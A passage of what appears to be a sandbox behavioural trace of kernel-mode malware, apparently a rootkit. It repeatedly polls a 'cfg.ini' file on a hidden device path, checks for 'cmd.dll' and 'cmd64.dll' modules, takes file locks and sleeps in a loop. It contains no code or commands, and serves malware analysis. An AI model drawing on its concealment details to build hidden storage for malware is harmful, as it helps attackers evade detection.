Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.406] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.406] IdePortDispatch () returned 0x103 [0118.406] KeWaitForMutexObject () returned 0x0 [0118.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.406] KeLeaveCriticalRegion () [0118.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.407] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.407] KeEnterCriticalRegion () [0118.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] KeLeaveCriticalRegion () [0118.407] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.407] KeEnterCriticalRegion () [0118.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.407] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] KeLeaveCriticalRegion () [0118.407] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.407] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.407] KeEnterCriticalRegion () [0118.407] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] ExFreePoolWithTag (P=0xfffffa80039c83f0, Tag=0x0) [0118.407] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.407] KeLeaveCriticalRegion () [0118.407] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.407] ReleaseMutex (hMutex=0xf0) returned 1 [0118.407] Sleep (dwMilliseconds=0x124f80) [0118.421] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.421] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.422] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.422] KeEnterCriticalRegion () [0118.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.422] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.422] IdePortDispatch () returned 0x103 [0118.422] KeWaitForMutexObject () returned 0x0 [0118.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.422] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.422] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.422] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.422] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.422] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800385cf10 [0118.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.422] KeLeaveCriticalRegion () [0118.422] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.422] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.422] KeEnterCriticalRegion () [0118.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.422] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.422] KeLeaveCriticalRegion () [0118.422] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.422] KeEnterCriticalRegion () [0118.422] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.422] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.422] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.422] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.422] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.422] IdePortDispatch () returned 0x103 [0118.422] KeWaitForMutexObject () returned 0x0 [0118.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.423] KeLeaveCriticalRegion () [0118.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.423] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.423] KeEnterCriticalRegion () [0118.423] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd4000 [0118.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.423] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.423] IdePortDispatch () returned 0x103 [0118.423] KeWaitForMutexObject () returned 0x0 [0118.423] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.423] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.423] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.423] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.423] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.423] IdePortDispatch () returned 0x103 [0118.423] KeWaitForMutexObject () returned 0x0 [0118.423] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.423] KeLeaveCriticalRegion () [0118.423] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.424] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.424] KeEnterCriticalRegion () [0118.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] KeLeaveCriticalRegion () [0118.424] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.424] KeEnterCriticalRegion () [0118.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.424] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] KeLeaveCriticalRegion () [0118.424] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.424] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.424] KeEnterCriticalRegion () [0118.424] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] ExFreePoolWithTag (P=0xfffffa800385cf10, Tag=0x0) [0118.424] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.424] KeLeaveCriticalRegion () [0118.424] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.424] ReleaseMutex (hMutex=0xf0) returned 1 [0118.424] Sleep (dwMilliseconds=0x124f80) [0118.440] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.440] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.440] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.440] KeEnterCriticalRegion () [0118.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.440] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.440] IdePortDispatch () returned 0x103 [0118.440] KeWaitForMutexObject () returned 0x0 [0118.440] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.440] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.440] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.440] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.440] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.440] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baa740 [0118.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.440] KeLeaveCriticalRegion () [0118.440] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.440] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.440] KeEnterCriticalRegion () [0118.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.440] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.440] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.440] KeLeaveCriticalRegion () [0118.440] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.440] KeEnterCriticalRegion () [0118.440] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.440] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.440] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.440] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.440] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.440] IdePortDispatch () returned 0x103 [0118.441] KeWaitForMutexObject () returned 0x0 [0118.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.441] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.441] KeLeaveCriticalRegion () [0118.441] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.441] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.441] KeEnterCriticalRegion () [0118.441] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.441] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd9000 [0118.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.441] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.441] IdePortDispatch () returned 0x103 [0118.441] KeWaitForMutexObject () returned 0x0 [0118.441] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.441] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.441] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.441] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.441] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.441] IdePortDispatch () returned 0x103 [0118.442] KeWaitForMutexObject () returned 0x0 [0118.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] KeLeaveCriticalRegion () [0118.442] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.442] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.442] KeEnterCriticalRegion () [0118.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] KeLeaveCriticalRegion () [0118.442] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.442] KeEnterCriticalRegion () [0118.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.442] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] KeLeaveCriticalRegion () [0118.442] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.442] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.442] KeEnterCriticalRegion () [0118.442] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] ExFreePoolWithTag (P=0xfffffa8003baa740, Tag=0x0) [0118.442] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.442] KeLeaveCriticalRegion () [0118.442] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.443] ReleaseMutex (hMutex=0xf0) returned 1 [0118.443] Sleep (dwMilliseconds=0x124f80) [0118.457] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.457] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.457] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.457] KeEnterCriticalRegion () [0118.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.457] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.457] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.457] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.457] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.457] IdePortDispatch () returned 0x103 [0118.457] KeWaitForMutexObject () returned 0x0 [0118.457] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.457] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.457] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.457] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.457] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.457] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.457] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.457] KeLeaveCriticalRegion () [0118.457] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.457] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.457] KeEnterCriticalRegion () [0118.457] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.458] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.458] KeLeaveCriticalRegion () [0118.458] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.458] KeEnterCriticalRegion () [0118.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.458] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.458] IdePortDispatch () returned 0x103 [0118.458] KeWaitForMutexObject () returned 0x0 [0118.458] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.458] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.458] KeLeaveCriticalRegion () [0118.458] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.458] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.458] KeEnterCriticalRegion () [0118.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.458] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cde000 [0118.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.458] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.458] IdePortDispatch () returned 0x103 [0118.459] KeWaitForMutexObject () returned 0x0 [0118.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.459] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.459] IdePortDispatch () returned 0x103 [0118.459] KeWaitForMutexObject () returned 0x0 [0118.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.459] KeLeaveCriticalRegion () [0118.459] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.459] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.459] KeEnterCriticalRegion () [0118.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.459] KeLeaveCriticalRegion () [0118.459] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.460] KeEnterCriticalRegion () [0118.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.460] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.460] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385b6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.460] KeLeaveCriticalRegion () [0118.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.460] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.460] KeEnterCriticalRegion () [0118.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.460] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.460] KeLeaveCriticalRegion () [0118.460] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.460] ReleaseMutex (hMutex=0xf0) returned 1 [0118.460] Sleep (dwMilliseconds=0x124f80) [0118.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.475] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, 